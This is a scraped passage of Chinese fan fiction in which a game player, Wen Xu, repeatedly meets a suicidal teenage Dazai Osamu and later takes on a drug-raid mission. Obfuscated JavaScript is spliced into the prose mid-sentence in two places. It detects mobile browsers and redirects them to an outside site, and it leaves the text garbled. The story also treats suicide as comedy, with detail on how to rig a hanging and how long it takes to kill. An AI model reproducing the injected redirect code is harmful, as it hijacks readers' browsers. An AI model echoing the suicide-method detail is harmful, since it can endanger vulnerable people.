温叙蹲在他旁边,拧着自己湿了的袖口,“太宰,你怎么又溺水了啊。” 他又想起那本书,了然地点点头:“你的好奇心还挺强啊,想要体验书中记载的方法。” 虽然是从熟悉的经历中再模拟一次相同的行为,“果然还是未成年人的心性啊,”温叙心里嘀咕:“对这类事情总是充满探索欲。” “不过,太宰,溺水可是一件很糟糕的事情。”温叙的表情变得严肃起来,他可是有发言权的。 当年为了单刷一个隐藏在水下的巨型河怪副本,他卡关了无数次,最主要的原因就是,总在被击落在深水里,然后活活溺死。 对于他这种不会游泳的人,再加上不开系统托管,每次但凡掉进河里就是死路一条,连躲都没法躲。 尤其是最初,他还艺高胆大地把痛感调到了最高,硬生生和对方对战了几十次,后来实在死麻了,才把痛感调到最低。 之后进入了死亡流水线模式:被怪拍下水,无痛淹死,复活,再战,再下水……如此循环。 虽然最后成功通过了副本,再想起这段心酸的经历,温叙仍然心有余悸。 他一脸沉痛地看着太宰治:“你会感觉无法呼吸,胸口像要炸开一样,身体会不听使唤地挣扎,但只会让你下沉得更快,你会清楚地感觉到生命一点点流逝,冰冷的河水淹没你的意识,最后只剩下一片黑暗。” 他拍了拍太宰治湿漉漉的肩膀,真心实意地劝告:“所以,听我一句劝,这种死法,体验感太差了,强烈不推荐,好奇心害死猫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想着对方现在还是一个未成年,对这种事情抱有好奇心,也很正常,温叙换了个思路:“如果你真那么想体验死亡的感觉,追求刺激,不如去试试极限运动?比如绑绳跳崖、高空跳伞什么的?应该能满足你的好奇心。” 他试图将对方的兴趣引向相对健康的方向:“而不是像现在这样,一个操作不当,就真的远离此世了,多不划算。” 温叙是真的在为这个好奇的少年出谋划策,防止对方一个不慎把自己作死了。 太宰治歪了歪头,湿发随着动作晃动:“但温叙君说的这些,也有可能出意外死亡啊,每年因为绳索老化、设备故障、操作失误而在极限运动中丧生的人,也不是没有呢。” 温叙一噎,心想太宰治的思维怎么总是往最悲观的方向跑? “照你这么说,坐车还可能出车祸,吃饭还可能噎着,走路还可能摔跤呢,难道因为有可能发生,就什么都不做了吗?” 他决定用魔法打败魔法,指出更现实的事情:“而且,论危险程度,你现在待的地方港口mafia才是最危险的吧,你被敌对组织暗杀、死于火并的概率,可比你玩极限运动意外身亡的概率高多了。 “所以你与其担心那些小概率事件,不如多担心担心眼前的处境呢。” 太宰治听着,脸上慢慢浮现出一种恍然大悟的神情,甚至眼睛都微微亮了一下,仿佛得到了什么启发。 15. 第15章 “温叙君说得很有道理呢。”太宰治点点头,语气里带上了一丝轻快,“死于敌人之手,这个概率确实大得多。” 他眼里对这种可能性的充满了跃跃欲试,“那我以后应该在街头露露面,说不定哪天,就能如愿以偿地迎来终结了呢。” 说着,他甚至没在意自己还浑身湿透,就这么直接站了起来,黑色的外套下沿滴滴答答地落着水珠。 他随手拧了拧衣角,然后朝温叙摆了摆手:“谢谢温叙君的提醒,我好像有了新的方向,那么,我现在就先去尝试一下。” 话音未落,他已经转身,朝着与河岸相反的街区走去,脚步轻快得像是去赴一场期待已久的约会。 温叙站在原地愣了两秒,眨了眨眼:“……真的假的?” 他望着太宰治逐渐远去的背影,那件不合身的黑色外套在暖风中里微微飘动,衣摆还在往下滴水,留下一串断续的湿痕。 他忍不住抬手挠了挠后脑勺,细碎的黑发在指尖蹭过,“不是吧?他这是把我的反向劝说当成了行动指南?” 平心而论,温叙和太宰治认识时间不算长,相处机会也不多。他对太宰治的印象,更多停留于“一个聪明得过分、因此看透太多而陷入迷茫的少年”这个层面。 电视里、小说里不都这么演吗?天才总是孤独的,容易觉得人生无趣,找不到生命的意义。 上次的溺水事件,温叙还以为那只是对方迷茫中的一次错误尝试,被他无意间打断后,按常理,太宰治应该会停歇这种念头才对。怎么现在反而更积极了? “这剧本不对啊。”温叙小声嘀咕,眉毛微微蹙起。 他从口袋里摸出一颗草莓味硬糖,熟练地用牙齿咬开糖纸,“咔嚓”一声轻响,甜味瞬间在舌尖炸开。 他原本还盘算着,太宰治之后说不定能成为他的“外置大脑”。 那家伙脑子转得飞快,面对一些需要解密的副本,完全可以帮助他分析线索,制动策略,到时候,他就只用专心思考战斗的事情,多省心。 所以他才对太宰治多有劝导,想把这颗聪明的脑袋留在正确的位置上,可如果对方真的铁了心要往死亡线上一路狂奔的话…… “啧。”温叙把糖咬得嘎嘣响,三两下嚼碎了吞下去,“总不能把人绑起来吧?” 说到底,谁又能真正劝住一个真心求死的人呢? 温叙最终还是跟了过去。 看在相识一场的份上,如果,真发生了那种事情,他至少可以帮对方收个尸。 太宰治走路的速度并不快,甚至有些慢悠悠的,像是在散步,温叙很快就看到了熟悉的背影,他并没有追上去,而是在身后不远不近的地方跟着。 身上湿透的衣服,在暖风和行走间慢慢不再滴水,但依旧紧贴着身体,显出少年人单薄的轮廓。 太宰治走在人群中,周围的行人都下意识地为他让开一点空间,眼神里带着混杂着嫌弃和警惕的神色。 温叙在心里默默给那些避让的路人配音:“哪来的落汤鸡小鬼,离远点,别把晦气传染给我。” 太宰治却丝毫不在意这些目光,他目标明确地继续行走,有时甚至会刻意走向那些眼神不善的人,吓得对方慌忙侧身。 跟了一段时间,他发现太宰治确实是认真的。 对方专挑人迹罕至的小巷里钻,有时会在某些敌对组织活动区域边缘徘徊,姿态随意的近乎挑衅,甚至有些刻意地暴露自己的存在。 遗憾的是,太宰治的“钓鱼行动”并未立刻奏效。不知道是运气太好还是太差,一下午过去,预想中的敌人连个影子都没见着。 又一次在一条空荡荡的巷子里等待无果后,太宰治微微仰起脸,对着侧上方某处被阴影笼罩的墙壁,用一种平淡语调开口:“温叙君,你要跟到什么时候?” 此时,夜幕已完全降临,巷口路灯的光勉强勾勒出墙壁的轮廓,却照不清高处。 温叙正蹲在那堵矮墙的墙头上,手里捧着一碗热气腾腾的茶泡饭,白米饭上撒着海苔丝和一颗梅干,茶水浸润着米粒,香气在夜风里飘散。 听到太宰治的声音,他从碗里抬起头,腮帮子还鼓鼓的,他努力咀嚼了几下,咽下去后,才探出半个身子,含混不清地回答: “唔,等我吃完这碗饭?顺便消消食。” 然后他从墙头轻盈地跳下来,落地无声,走到太宰治身边,拿出一份一模一样的茶泡饭,递过去:“你要不要也来点?看你晃悠一下午都没吃东西。” 太宰治看着眼前熟悉的饭碗,没有立刻接过去,他歪了歪头,蓬松的卷发随着动作晃了晃: “这算是什么请客啊?温叙君,这饭是港口mafia食堂的吧,你一分钱都没花呢。” 他一针见血地指出了关键。 温叙丝毫不觉得用食堂的饭请客有什么问题,理直气壮的反驳:“食堂的饭怎么了?我又没说要请你去高级餐厅,有吃的就不错啦。” 他顿了顿,想起自己丰盈的库存,又补充道,“不过,允许你点个菜,我的存货还挺多。” 他开始掰着手指报菜名,语速飞快:“主食有乌冬面、牛排饭、鳗鱼饭、土豆咖喱……甜品有芝士大福、树莓蛋糕和草饼……想喝汤的话,味增汤、玉米浓汤也有。” 俨然一个人形移动食堂。 “有蟹肉罐头吗?”太宰治也没有客气,直接点了自己最钟爱的食物,眼睛微微亮了一下。 “有,给你。”温叙掏出一个圆形的蟹肉罐头,还附带了一个小勺子,一起递给太宰治。 于是,在这条昏暗僻静的小巷子里,两人就这么毫无形象地并肩蹲着。一个浑身透着半干的湿意,另一个却清爽干净。 温叙捧着一碗热气袅袅的茶泡饭,埋头苦干,吃得正香,太宰治则慢条斯理地挖着冰凉的蟹肉罐头,苍白的脸上因进食多了点血色。 墙角的阴影笼罩着他们,远处传来城市模糊的喧嚣,更衬得此处的安静,只有轻微的咀嚼声和勺子碰触罐头的轻响。 温叙吃得很快,风卷残云般解决掉那份分量十足的茶泡饭后,满足地舒了口气,太宰治也吃完了最后一口蟹肉,将空罐头轻轻放在脚边,发出“咔哒”一声轻响。 温叙站起身,伸了个懒腰,他低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048764|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向依旧蹲着的太宰治,路灯的微光照过来,给太宰治蓬松的卷发镀上了一层模糊的光晕。 “太宰,”温叙开口,声音在寂静的小巷里显得格外清晰,“你还要继续留在这里守株待兔吗?” 太宰治侧过头,仰脸看他,嘴角弯了一下:“温叙君这是在邀请我一起走了吗?” 不等温叙回答,他又很快接上,语气轻飘飘的,“你先回去吧,我再待一会儿,说不定会有惊喜呢。” 他留下来的目的,两人心照不宣。 温叙也不是什么热心保姆,非要把迷途的羔羊拽回所谓的正途,每个人都有自己的选择和道路,哪怕那道路通向深渊。 他只是觉得有点可惜,这么聪明的脑子,要是用来帮他解谜,该多省心啊。 “好吧。”温叙点点头,不再劝说,他顺手给太宰治打了个标记,可以记录目标的生命状态和粗略位置,只要太宰治活着,他的名字在系统中就会保持明亮。 他还没忘记自己最开始跟过来的初心:万一真出事了,好歹能给对方收个尸。 “那再见了,太宰。”温叙朝他挥挥手,语气轻松,仿佛只是寻常道别,“希望明天还能见到你。” 千万别在他睡觉的时候偷偷死掉啊,不然明天来找,尸体被分成好几段了该怎么办,拼起来很麻烦的。温叙在心里默默补充。 “再见,温叙君。”太宰治并不知道温叙内心的“周到”安排,也轻声回应,声音融在夜色里。 温叙转身,朝着巷口有光亮的方向走去,他的身影逐渐被温暖的路灯光晕包裹,脚步声渐行渐远。 太宰治依旧蹲在原地,一动不动,他静静看着温叙离去的背影,直到那身影彻底消失在巷口的光明与喧嚣之中。 墙壁投下的浓重阴影,像一条无形的分界线,横亘在他们之间,一人选择留在寂静的黑暗里,另一人则步履轻快地走向灯火通明的人间烟火。 —— 三天后的傍晚,温叙刚解决了一场小规模冲突。对方是个不长眼的小组织,试图在港口mafia的地盘上做点手脚,战斗结束得很快,温叙甚至连外套都没弄乱。 嘴里叼着根橙子味的棒棒糖,甜意在口腔里蔓延。他慢悠悠走在路上,正琢磨着晚上是吃咖喱好还是吃拉面好。 “温叙君,好巧啊。” 熟悉的声音从上斜上方传来,温叙咬着糖,下意识地抬头,然后动作顿住了。 暮色中,太宰治的头正卡在一根从树枝垂下的绳套里,整个人悬挂在半空,随着微风轻轻晃动,他双腿悬空,绷直的脚尖距离地面大约还有半米,但那根绳子显然足够结实。 最离谱的是,这家伙居然还能用那种“今天天气真好”的语气打招呼,甚至对他挥了挥手。 温叙站在原地看了三秒,默默把棒棒糖从嘴里拿出来,他绕着树走了一圈,上下打量了这个装置,甚至还伸手拉了拉那根绳子,确认其牢固程度。 然后,他收回视线,重新看向空中那位还悠闲晃荡着双腿的人,咬字清晰,语气是十足的诚恳和疑惑:“太宰,都三天了,你怎么还没有自杀成功啊?” 16. 第16章 自从上次分离,温叙就没有见过太宰治了,但是对方的名字始终亮着,要不是确信对那人是在认真找死,温叙都要怀疑太宰治是在和他玩什么行为艺术。 太宰治还在树上cos晴天娃娃,听到温叙这毫不客气的问候,悬着的双腿在空中晃了晃。绳子因此微微转动,让他面朝温叙的方向。 “那些敌对组织也太不争气了。”太宰治抱怨道,声音因为颈部受压而有些沉闷发紧:“一点都不敢行动,好几次就跟在我身后,但我一回头,他们跑得比兔子还快。” “啧,真没意思。”他撇了撇嘴,语气里满是对那些“胆小鬼”的鄙视。 太宰治的视线落在树下那位一脸疑惑的黑发青年身上,这位,才是导致他近期多次尝试都未能如愿的罪魁祸首。 自从温叙升任干部以来,凡事经他参与的行动,无一不是圆满收场,港口Mafia的声势随之水涨船高,俨然已成为横滨里世界不可撼动的庞然大物。 在这座大山的阴影笼罩下,原先那些蠢蠢欲动的敌对组织,如今个个噤若寒蝉,夹紧尾巴做人,哪里还敢轻易对港口mafia的人下手。 偏偏温叙对此毫无自觉,在他眼里,太宰治已经被打上了“死人预备役”的标签了,本着敬畏逝者的理念,他感觉自己此刻充满了包容。 看着太宰治脸上毫不掩饰的失望,温叙眨了两下眼睛,腮帮子被糖球顶得微微鼓起。 一个绝妙的主意突然冒了出来。 他眼睛倏地一亮,往前走了两步,仰头看着悬挂在树上的太宰治,语气热切:“我说太宰,既然你这么失望的话,让我来帮忙吧!” “哈?”太宰治显然没料到这个展开,下意识地发出一个短促的音节,身体微微一动,绳索又带着他晃了晃。 没等他琢磨明白这“帮忙”二字背后的含义,温叙活力满满的声音已经像连珠炮一样砸了过来: “你不是想死吗?既然那些组织不敢动手,那就我来啊!”他掰着手指头,如数家珍,“你可以自己选择死亡方式,枪杀、匕首、窒息、高处坠落……哦对,你如果想要无痛的那种,我也会。” “重要的是,看在我们相识的份上,我还可以帮你收尸,一条龙服务,从送走到安葬,保证全程贴心周到,让你走得体面,无后顾之忧。” 温叙越说越觉得这主意妙极了,既能满足太宰治的“心愿”,又能实践自己“收尸”的初心,简直是一举两得,互利共赢的典范 太宰治张了张嘴,颈部传来的窒息感越来越强,眼前开始冒出细碎的黑点。他试图说些什么,但声音卡在喉咙里,只发出细微的“嗬嗬”的气音。 温叙丝毫没注意到对方的异常,还在下面热情洋溢地推广他的“新业务”:“我的‘送终’服务今天刚开张,你是第一位顾客,所以这次免费,怎么样,够意思吧?” 他顿了顿,又补充道,语气真诚得:“反正你总要死的,与其便宜不知道哪来的阿猫阿狗,不如交给我来做。我手法专业,售后服务有保障,还能保证尸体的完整。” 太宰治的视线开始模糊,他看见树下的青年眉飞色舞地说着什么“多年杀人经验”“掌握各种手法”“买不了吃亏买不了上当”,甚至开始唱起了奇怪的广告调调。 “来一来,看一看了啊~专业送终,服务周到,走过路过不要错过,包您满意。” 温叙的歌声在暮色里飘荡,调子跑得八匹马都追不回来。 太宰治最后看到的画面,是温叙仰着的脸上那双亮晶晶的眼睛,那里面的期待和热情,真诚得让人头皮发麻。 然后,黑暗彻底吞没了视线。 温叙唱完最后一个音,在树下耐心等了等,却没听到任何回应。 他疑惑地“嗯”了一声,绕着粗壮的树干走了半圈,转到太宰治被风吹得背对着他的那一面,准备再接再厉,进行第二轮推销攻势。 结果刚站定,抬头一看,树上的人双眼紧闭,脸颊因为缺氧涨得通红,原本还有细微晃动的身体彻底安静了下来。 “啊呀。”温叙眨了眨眼,把嘴里快要吃完的棒棒糖棍子拿下来,顺手又从口袋里摸出一根新的蜜瓜味塞进嘴里。 “上吊窒息,一般五到十分钟就能彻底可以和世界说拜拜了。”他含着糖,自言自语,“看这脸色……应该再需七分钟?” 他摸出手机,点开倒计时,煞有介事地按下了开始键。 “大概是用不上我的新业务了,不过也好,正好帮太宰收个尸。” 他干脆在树下找了块还算干净的石头坐下,从背包里先是掏出了一小盒抹茶蛋糕,想了想,又换成一包芝士饼干,拆开,咔嚓咔嚓地吃了起来。 就在计时器跳到最后一分三十秒时,寂静的空气中传来一声轻微的“吱嘎”声。 温叙咀嚼的动作停了停,腮帮子还鼓着一小块,他抬起头。 “吱嘎——嘎——” 断裂声越来越清晰,紧接着,头顶那根承载着太宰治的树枝,猛地向下一沉,连带着上面挂着的“晴天娃娃”一起,骤然降低了高度。 在温叙一眨不眨的注视下,太宰治的脚尖、小腿,依次触碰到下方的草地,然后—— “咔嚓!” 最后的连接点彻底断裂,太宰治连同那截断裂的树枝,重重摔在了茂盛的草地上,顺势滚了半圈,正好滚到温叙脚边。 他把最后一块饼干碎塞进嘴里,拍了拍手上的碎屑,蹲下身。 太宰治仰面躺着,胸膛剧烈起伏,喉咙里发出粗重急促的吸气声,本能地贪婪汲取着久违的空气。 一把轻薄锋利的匕首无声无息地出现在温叙指间,他拿用匕尖在太宰治脆弱的脖颈附近比划了几下,锋利的金属几次轻轻擦过对方皮肤上新鲜的勒痕。 “现在补一刀?”他歪着头,很认真地思考着,“好像有点趁人之危,不符合优质服务商的标准,而且,万一太宰醒来后,想要定制呢?还是问问本人意愿比较好,顾客就是上帝嘛。” 最终,温叙手腕灵巧地一转,匕首精准地挑断了太宰治颈间那个粗糙的绳结,顺手还把残留的绳头扯开,丢到一边。 等太宰治再次恢复意识时,他正平躺在草地上,颈部的绳套已经不见了,取而代之的是一种火辣辣的疼痛感。傍晚微凉的风吹过皮肤,让他打了个寒颤。 “醒啦?比预计时间快了一 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“下次如果你还想尝试上吊,记得选个更粗壮的枝干,刚才那根,内部有腐朽迹象,承重不稳定。而且高度要计算好,太低死不了,太高容易颈椎断裂,那样死相不太好看,收尸的时候还要帮你把脑袋扶正,很麻烦的。” 他歪了歪头,继续推销:“所以,真的不考虑一下我的定制服务吗?海边夕阳下的枪响,高楼天台上的自由落体,甚至还有各种独家调配的毒药……场景、方式、情绪氛围,都可以谈,量身打造,包你满意!” 太宰治拧开瓶盖,仰头喝了一口水,冰凉的液体滑过喉咙,带来一阵刺痛,却也让他彻底清醒。 他的目光在温叙写满真诚期待的脸上停留片刻,忽然低低地笑了起来,不是平时那种轻飘飘的,而是真正从胸腔里震动出来的笑声。 笑了好一会儿,他才渐渐止住,撑着柔软的草地站起身,拍了拍身上的草屑,动作慢条斯理。然后,他侧过头,看向温叙,嘴角弯起一个的弧度。 “温叙君这么热情,我都不好意思拒绝了。”他开口,声音因受伤而有些低哑,“不过——” 他故意拖长了尾音,在温叙期待的目光中,缓缓接上:“我突然觉得,追求‘终结’这件事,果然还是亲力亲为比较有仪式感,假手他人,哪怕服务再贴心,似乎也少了点探索的乐趣呢。” 温叙眨眨眼,脸上露出显而易见的失望,嘴角都往下撇了撇:“诶?不需要我帮忙吗?第一次体验免费,还有赠品哦。” 他试图进行最后一次挽留。” “暂时不了。”太宰治转身,迈开步子,朝街道的方向走去,背对着温叙挥了挥手,“有需要的时候,我会考虑你的。” 他的声音渐渐远去,身影融入逐渐亮起的街灯之中。 温叙站在原地,看着太宰治离开的方向,半晌,才叹了口气。 “第一位潜在顾客就这么跑了,”他小声嘀咕,从背包里掏出一个小本子,用嘴咬开笔帽,在本子上认真记录: 【业务尝试第一次:失败 原因:顾客临时改变主意 备注:下次需要在顾客反悔前迅速完成服务】 写完,他满意地合上本子,蹦跶着朝与太宰治相反的方向走去,身影很快也消失在横滨的夜色里。 17. 第17章 “爸,妈,我先走了。” 温叙怀里抱着个巨大的纸箱,身子卡在门框边,侧过头朝屋内喊道。 箱子上摞着的特产盒子摇摇欲坠,最顶上那盒桂花糕已经滑到他下巴位置,让他不得不仰起脖子,用下巴顶住盒子边缘。 温妈踩着拖鞋从客厅追出来,手上又提了两大袋东西:“怎么才拿这么点?这些全都是给你带的,都拿回去!” 温爸也被赶鸭子上架似的,拎着几个袋子跟在后头,帮腔道:“是啊儿子,你妈特意给你挑的,不拿回去放这儿也是浪费。” 这个假期温爸温妈原本计划一家三口去旅行,结果温叙因为接到全息游戏的内测邀请,毫不犹豫地放了爸妈的鸽子。 老两口旅游回来特意绕回家,美其名曰“检查儿子有没有好好照顾自己”,结果行李里塞满了各地特产:苏州的桂花糕、南京的盐水鸭、昆明的鲜花饼……三天下来,温叙感觉自己不是回了趟家,是进了什么年货批发市场。 “妈,我一个人住,”温叙努力把脸从箱子后面探出来,试图做最后的挣扎:“真的吃不了这么多。” “吃不了就慢慢吃,剩下的放冰箱!”温妈妈不容分说地把袋子往他怀里塞,又伸手捏了捏他的脸,“你看看你,搬出去住才多久,脸都瘦了一圈,当时怎么就非要搬出去呢?” 温叙内心疯狂呐喊:这绝对是你的错觉,我上周刚称过,还重了两斤! 而且我搬出去就是为了每天早上七点不被你们叫拎起来吃早饭啊!哪个大学生放假后,还要七点爬起来喝粥的啊! 当然,这话他只敢在心里吐槽。他做游戏主播的事温妈虽然没反对,但老一辈总有种“不吃早饭等于慢性自杀”的执念。 这也是为什么他攒够钱的第一时间就买了套公寓搬出来。自由诚可贵,睡眠价更高。 “车到了,我真得走了。”他瞥见楼下停着的网约车,如蒙大赦,“你们下午两点的飞机对吧?赶紧快回去收拾行李,别误机了。” 温爸温妈这次只是中途回来看看他,在家待了三天,今天下午要继续未完的旅程。 果然,这话提醒了温妈,她和温爸一起大包小包搬进后备箱,扒着车窗还不放心地叮嘱:“一个人住记得按时吃饭,冰箱里的菜记得一周内吃完,要不还是请个阿姨吧?” “不用了不用了,爸妈再见,玩得开心!”温叙伸长胳膊用力挥挥手,转头就对司机师傅露出恳求的眼神,“师傅,快开车快开车。” 司机被逗笑了,一脚油门驶出小区。后视镜里,温爸温妈的身影越来越小,还站在原地挥手。 温叙这才长长舒了口气,整个人瘫在座椅上。 司机从后视镜看了他一眼,笑道:“甜蜜的负担?” “嗯。”他有气无力地应了声,随即又忍不住笑起来,“不过也挺好的。” 回到公寓,温叙花了整整半小时才把那些特产分类塞进冰箱。看着被塞得满满当当、连门都快关不上的冰箱,他默默拍了张照片发到家庭群里。 【看,真的塞不下了,下次别带这么多了。(小猫苦恼.jpg)】 几乎是秒回。 妈妈:【记得按时吃,别放坏了,蔬菜要先吃!】 爸爸:【儿子真能干,冰箱整理得井井有条。(点赞.jpg)】 温叙:“……”行吧。 他盯着屏幕沉默三秒,回了个乖巧点头的猫咪表情包。 收拾完“年货”,他终于能钻进全息舱,舱门闭合的瞬间,熟悉的登录提示音在耳边响起。 视野暗下又亮起。 温叙睁开眼,从柔软的大床上翻身坐起,推开卧室门来到大厅,又推开大门,眼前豁然开朗。 门外是一片望不到边际的农场,各种果树枝头挂满沉甸甸的果实,田垄间蔬菜长势喜人,空气里还混合着花香。微风拂过,麦浪翻滚,远处还有几个稻草人在风中轻轻摇晃。 “大人,您回来了!” 激动的声音从旁边传来。温叙转头,看见挑染着一缕白发的年轻人,正双眼放光地看着自己,手里拿着把锄头,裤腿上还沾着泥点。 如果忽略对方腰间那把标配的手枪的话,就是活脱脱刚从地里干完活的农民。 中尾勇真,他的亲卫小队长,异能力是【分身】。 顾名思义,可以制造两个分身,虽然不能离开本体十米,但能完全改变形态伪装成他人。实战考核接近满分的成绩让他脱颖而出,成为了温叙的直属部下。 当然,现在他还有个更重要的身份:温叙的“农场管理员”。 随着游戏时间的推进,温叙背包里的种子越来越多,某天他看着需要打理的十几亩地,突然灵机一动,反正自己是干部,手下那么多,不用白不用啊! 于是,种植、施肥、浇水、收获……这些活计都被他“合理分配”给了下属们。美其名曰“锻炼团队协作能力”,实则就是赤裸裸的资本主义的残酷剥削。 “长势不错嘛。”温巡视察了一圈,满意地点点头,拍了拍中尾勇真的肩膀,“辛苦你了。” “能为大人分忧是我的荣幸!”中尾勇真挺直腰板,声音洪亮,随即又眼巴巴地问,“今天还有什么需要我做的吗?” “暂时没有了,你回去休息吧。”温叙摆摆手。 中尾勇真眼中的光瞬间暗淡下去:“这、这样啊……” 他已经一个月没见到温叙了,为了第一时间见到偶像,他特意把文书工作都带了过来,天天在这儿蹲守,一边锄地一边批文件。今天终于等到人,结果没说两句话就要结束了。 中尾勇真失落地转身,突然想起什么,猛地转身:“对了大人,首领让您有空去找他一趟。” “知道了。”温叙点点头,对这个流程熟得不能再熟,玩家上线,NPC上司必然要发布任务,这是游戏的固定套路。 熟悉的电梯,熟悉的红木双开门。温叙推门进入首领办公室。 森鸥外正站在落地窗前,俯瞰着横滨的街景。听到动静,他转过身,脸上挂着温和的笑容。 “温叙君,好久 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果然,森鸥外放下茶杯,正了正脸色,进入任务发布模式:“温叙君,在你离开的这段时间,组织里某些心思不纯的人又蠢蠢欲动,捡起了贩卖毒品的事。他们今天晚上要在海口的仓库里进行秘密交易。” 说到这里,森鸥外的脸色阴沉下来。 自从他上位后,就在港口Mafia内部大力整顿,明令禁止了毒品和人口交易这些黑色产业,效果也确实显著。 但这些整顿也触动了组织内部元老派的利益,这些人仗着资历老、根基深,表面上服从,暗地里却一直对森鸥外不满。 在温叙“失踪”的这一个月里,他们以为找到了机会,又开始偷偷进行交易,这些人很狡猾,分成好几波行动,每队都有一个异能力者带队,一旦发现不对劲就立刻撤离,像泥鳅一样滑不留手。 前几次交锋,双方互有胜负,虽然没有把对方一网打尽,但森鸥外也不是吃素的。 他在某些队伍里安插了暗探,这次的情报就是暗探传回来的,时间、地点、参与人员,一清二楚。 “所以这次请务必留活口。”森鸥外看着温叙,眼神郑重,“我们需要知道到底是谁在背后支持他们,还有哪些人参与了这件事。” “知道了,我会尽量留活口的。”温叙点点头,“那还有什么要交代的吗?” 森鸥外摇摇头:“具体内容已经发给你的亲卫了,到时候由他们向你汇报详细情况,不过——” 话音未落,温叙已经从沙发上弹了起来,挥了挥手,大步朝门口走去:“行,那我走了,森先生,等我的好消息。” “温叙君,等等,其实还有一件事——”森鸥外试图叫住他。 但门已经“咔哒”一声打开又关上,办公室里只剩下森鸥外一个人。 看着紧闭的门,森鸥外脸上严肃的表情松了下去了,露出了一个意味深长的笑。 几乎是同时,穿着一身红色小洋裙的爱丽丝凭空出现在办公室里,双手叉腰,撇了撇嘴:“林太郎,你不是打算告诉他太宰已经加入港口mafia了吗?怎么不说了?” 18.第18章 “唉——我是打算说的。”森鸥外眯起眼睛,语气无辜,“但这还不是温叙君太着急了吗?我话都没说完呢,他就跑没影了。” “林太郎骗人。”爱丽丝哼了一声,金色长发随着她叉腰的动作晃了晃,毫不客气的拆穿,“你明明就有时间告诉温叙,你就是故意的,坏心眼!” 森鸥外轻笑出声,指尖在红木桌面上轻轻敲击,发出规律的轻响。 “温叙君总会知道的,不是吗?”他丝毫不掩饰自己的意图,“而且这件事,由他自己发现,不是更有意思吗?” 温叙和太宰治的年龄相仿,两人的关系随着时间推移越来越近,甚至还会结伴尝试一些“特别的活动”。 比如上次两人联手把敌对组织的地下仓库炸上了天,还美其名曰“进行烟花实验”。 森鸥外对这段关系乐见其成,他们之间关系融洽,对组织来说是件好事。只是…… “我看你就是想看热闹。”爱丽丝一针见血,大眼睛里满是了然:“顺便报复一下被温叙忽视的事,他一个月没出现,一回来就急着接任务跑掉,根本没耐心听你多说,你不高兴了。” “爱丽丝这么说可真是伤了我的心。”森鸥外轻笑出声,没有否认:“我这可是为了温叙君好,失踪一个月,回来后连自己小伙伴的事都要由别人来告知,这种事情可是很伤感情的。” “哼,林太郎太狡猾了,我才不要继续和你说话了。”爱丽丝跑到角落里,背对着森鸥外,小皮鞋在地板上踩出清脆的响声。 “什么?不要啊,爱丽丝——”森鸥外脸上的玩味瞬间变成了苦恼,他从首领椅上起身,三两步来到角落,企图哄回自己的人形异能。 “我错了还不行吗?我们现在就去买那家新开的蛋糕店好不好?听说有草莓限定款哦。” “……真的?”爱丽丝慢吞吞地转过半张脸,湛蓝的眼眸瞥向他。 “当然是真的,我们现在就去。”森鸥外笑着伸出手,掌心向上。 爱丽丝犹豫了一下,还是把手放了上去,但立刻扬起下巴追加条件:“那我要两个,不,三个,还要陪红茶。” “好好好,都依你。”森鸥外牵着爱丽丝往外走,嘴角的笑意更深了。 办公室厚重的门在身后无声合拢。 —— 电梯“叮”地一声到达楼层,金属门向两侧滑开。 温叙还没迈步,一个身影就蹿到他的面前。 “大人。”中尾勇真眼睛发亮,站得笔直,手里捏着一沓厚厚的资料,显然是等候多时了。 他身后还跟着两个同样身着黑西装的下属,见状也齐齐躬身。 温叙被他这副架势逗乐了,伸手在他眼前晃了晃:“喂喂,这么激动干嘛?放轻松点。” 说着,他绕过对方,溜溜达达往自己办公室走。 中尾勇真亦步亦趋地跟在侧后方,直到温叙推开办公室的门走进去,他才快步跟上,将怀里那摞资料恭敬地放在办公桌上。 “大人,情报都在这儿了。” “哦?”温叙一屁股坐上椅子上,椅子转了个圈,他随手翻了翻那厚得吓人的文件,眉毛翘得老高,“这么多字?你直接告诉我呗。” 中尾勇真深吸一口气,语速因为兴奋而略快,但条理清晰,“从晚上九点整开始,七号码头三号仓库,第一批新货会从海路进来。紧接着九点二十分点,同码头八号仓库,第二批,这批货量更大。之后是十点、十一点十分、午夜十二点,分别在八号码头、三号码头和六号码头,总共五批,全是走水路的毒品交易。” 他边说边从那沓资料中抽出一张手绘地图,铺在桌面上,纸张边缘已经有些起毛,但上面的标注却异常清晰工整,甚至用不同颜色的笔区分了时间和路线。 他的手指点向几个用红笔清晰标注的位置:“属下已经规划好了最佳路,按照这个顺序移动,您可以在最短时间内击溃他们,确保没有一条漏网之鱼。” 温叙拿起地图,扫了一眼那流畅的箭头线路,眼睛弯了起来,他拍了拍中尾勇真的肩膀,声音里带着赞赏:“干得漂亮啊。” 中尾勇真耳根微红,但腰板挺得更直:“能为大人分忧真的是太好了。” “那就按这个来。”温叙笑了笑,将地图收好,“晚上九点七号码头,我会准时到场。” 有人提前把一切繁琐情报整理成清晰明了的攻略,他只需要负责最擅长的实战通关,这感觉,简直不能更棒了。 —— 晚上九点,七号码头的风里带着咸湿的潮气,温叙哼着不成调的歌,踩着路灯下自己拉长的影子准时抵达。 中尾勇真带着人从集装箱的阴影里快步迎出来,压低声音,“大人,目标在三号仓库,正在验货,所有出口都已经封锁了,保证不会有任何人进出” 温叙点了点头,海风吹动他额前的黑发,他今天穿了件深灰色的长风衣,衣摆在夜风中轻轻翻动。 三号仓库门前守着四个人,腰间鼓起的轮廓明显是枪支,看到大摇大摆走近的温叙,守卫们立刻警惕地拔枪。 “站住,什么人?”为首的光头大汉厉声喝道,枪口已经对准了温叙的胸口。 “晚上好呀。”温叙笑容灿烂地挥手,步子丝毫未停,“加班呢?辛苦辛苦,我代表港口热心市民来慰问一下你们。” 